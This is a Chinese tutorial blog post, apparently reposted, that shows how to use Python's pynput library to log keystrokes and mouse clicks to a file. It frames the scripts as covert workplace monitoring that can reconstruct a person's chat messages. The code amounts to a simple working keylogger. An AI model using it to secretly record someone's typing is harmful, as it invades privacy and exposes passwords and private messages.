返回顶部
首页 > 资讯 > 后端开发 > Python >你知道怎么用Python监控聊天记录吗
  • 958
分享到

你知道怎么用Python监控聊天记录吗

2024-04-02 19:04:59 958人浏览 独家记忆

Python 官方文档:入门教程 => 点击学习

摘要

目录关于 pynput实例键盘监控鼠标监控监控并记录到日志文件 关于 pynput     pynput 可以监控我们的键盘和鼠标。目前具有此类功能的库有很多

在这里插入图片描述

关于 pynput

    pynput 可以监控我们的键盘和鼠标。目前具有此类功能的库有很多,比如 pygame 等游戏库,但是当我们只需要监控键盘和鼠标时,它们就显得过于笨重了,我们可以选择轻量,快速的 pynput。

实例

键盘监控

    假设公司想要静默为我们的电脑常驻一个后台进程去实现监控我们的键盘输入并记录下来,他们大概可以这样做:


from pynput import keyboard


def on_press(key):
    print(f'{key} :pushed')

def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False


with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
    lsn.join()
复制代码

控制台打印:                   

在这里插入图片描述

鼠标监控


from pynput import mouse

def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')

# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
    listener.join()
复制代码

控制台打印:                   

在这里插入图片描述

你会发现,每条打印都被打印了两次,这是因为按下去和抬起来都会触发鼠标事件。

监控并记录到日志文件


from pynput import keyboard,mouse
from loguru import logger
from threading import Thread

# 定义日志文件
logger.add('demo.log')
def on_press(key):
    logger.debug(f'{key} :pushed')

def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False

# 定义f1用于线程1
def f1():
    with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
        lsn.join()



def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
        return False
    else:
        logger.debug('mid was pressed!')

# 定义f2用于线程2
def f2():
    # Collect events until released
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()


if __name__ == '__main__':
    # 起两个线程分别监控键盘和鼠标
    t1 = Thread(target=f1)
    t2 = Thread(target=f2)
    t1.start()
    t2.start()
复制代码

查看日志内容:   

在这里插入图片描述

    如上,我们的键盘操作全部已经被记录,通过对这个日志文件进行简单的 NLTK 语言处理,就能复原你的聊天记录。

以上就是今天的全部内容了,感谢您的阅读,我们下节再会。

到此这篇关于你知道怎么用python监控聊天记录吗的文章就介绍到这了,更多相关Python 监控内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: 你知道怎么用Python监控聊天记录吗

本文链接: https://lsjlt.com/news/154433.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作